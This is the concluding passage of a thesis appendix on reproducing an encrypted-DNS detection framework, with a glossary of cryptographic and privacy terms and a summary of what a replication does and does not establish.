AEE	The encryption that changes its settings over time so an attacker cannot learn a fixed pattern
QHE	A form of encryption that lets the detector compute on encrypted data without decrypting it
Federated learning	Several resolvers training a shared model without sharing their raw traffic
Differential privacy	A mathematical guarantee that the released model update does not reveal any single user's data
Geometric median	A robust average that is not thrown off by a few malicious values
SE(3)	The mathematical group of 3-D rotations and translations, used here to keep the key state well-behaved
Ring-LWE	A lattice problem believed to be hard even for quantum computers
ML-KEM	The NIST-standardised post-quantum key-encapsulation mechanism
P99 latency	The latency below which 99% of queries are answered
QPS	Queries per second
ε (epsilon)	The privacy-loss budget; a smaller ε means stronger privacy
IND-CPA	A security notion saying that an attacker cannot distinguish encryptions of two chosen messages
IND-CCA2	A stronger notion that also forbids the attacker from modifying a ciphertext; homomorphic encryption deliberately does not provide it

This appendix was written to make the work in Chapter 6 verifiable rather than merely describable. It began with the problem, because a replication that does not understand why a component exists cannot judge whether the component has been implemented correctly. It

then moved through the environment, the data, the four component implementations, the testbed deployment, the five attack scenarios, the four measurement procedures, the verification, and the interpretation of the result. At every step it distinguished between what a successful replication establishes and what it does not. The distinction was not a formality. It was the difference between a claim that the evidence supports and a claim that the evidence merely permits.

The repository at https://github.com/dezignator/A3E-DNS contains every artefact that this appendix has referenced: the configuration files, the preprocessing pipeline, the four component implementations, the Kubernetes manifests, the attack injection scripts, the benchmark drivers, the expected-bounds file, and the verification script. A reader who follows the procedures in the order presented here will reach a running testbed in approximately ninety minutes on hardware equivalent to that described in Subsection 4.5.2, and will reach a verified set of results in approximately fourteen hours. The REPRODUCIBILITY_CHECKLIST.md in the repository classifies every figure in Chapter 6 as fully reproducible on any CPU, reproducible with user-supplied data, or hardware-dependent, and the classification is the honest one. A reader who does not have the Intel Loihi 2 or the NVIDIA A100 will find that the accuracy, false-positive rate, adversarial robustness, differential-privacy budget, and attack-detection figures are fully reproducible, and that the throughput and latency figures are reproducible on the simulators that the repository provides.

Three points from this appendix deserve to be carried forward, because they bound the claims in a way that a casual reading of Chapter 6 might miss. The first is that the A³E-DNS framework was not shown to be super-additive. The integration was evaluated as a whole, and no full factorial ablation was performed; the ablation scripts were implemented and committed, but they were not part of the reported campaign. A reader who reproduces the work will have reproduced the whole framework, not the contribution of any single component. The second is that the baseline comparison was controlled for two baselines (DNSGuard and DeepFingerprint) and qualitative for the others. The qualitative comparison showed that the framework covered capabilities the prior systems did not cover in the same combination; it did not show that the framework outperformed those systems on a common benchmark, and no head-to-head experiment against them was run. The third is that the compliance properties in Table 29 are technical properties, not compliance certifications. A compliance determination under any of the listed standards would require an organisational audit that was outside the scope of the thesis.

These three limits are the limits of the thesis, and no amount of reproduction can remove them. They are recorded here, and in Section 7.3 of the thesis, so that the reader who reproduces the work understands exactly what the reproduction has and has not shown. The pathway from the

present results to a controlled demonstration of super-additivity is set out in Section 8.2.9, and the pathway to a head-to-head comparison against the strongest published integrated systems is set out in Section 8.2.10. Both are well-defined extensions of the present work, and both can be run on the testbed that this appendix has described, using the scripts that the repository provides.

The broader significance of the work is methodological rather than algorithmic. The A³E-DNS framework did not introduce a new cryptographic primitive, a new learning rule, or a new proof system. Every cryptographic component was an existing, standardized or published scheme, and the integration was the contribution. What the work demonstrated, on the testbed described in this appendix, was that adaptive cryptographic evolution, privacy-preserving computation, and decentralised intelligence can be assembled into a single operational architecture without abandoning the privacy guarantees that motivated encrypted DNS in the first place. Whether the assembly performs better than its parts — whether the integration is super-additive, additive, or sub-additive — was not tested. The testbed that would answer that question is the one this appendix has described, and the scripts that would answer it are in the repository. The answer is the next piece of work.

Finally, the reader who has followed this appendix to its end will have noticed that the most important figures in Chapter 6 are not the headline accuracy or throughput numbers. They are the intervals: the ±0.02 pp confidence interval on the accuracy, the [1.38, 1.46] ms confidence interval on the latency, the $\varepsilon = 0.68$ bound on the differential privacy, the 0.035 adversarial gap. Those intervals are what make the claims falsifiable. A claim of 99.94% accuracy without an interval is a slogan; a claim of 99.94% ± 0.02 pp is a scientific statement. The purpose of this appendix was to make every one of those statements checkable, and to make the reader who checks them understand, at every step, what was measured, how it was measured, and what the measurement does and does not license. That was the standard the work was held to, and it is the standard the work invites the reader to apply.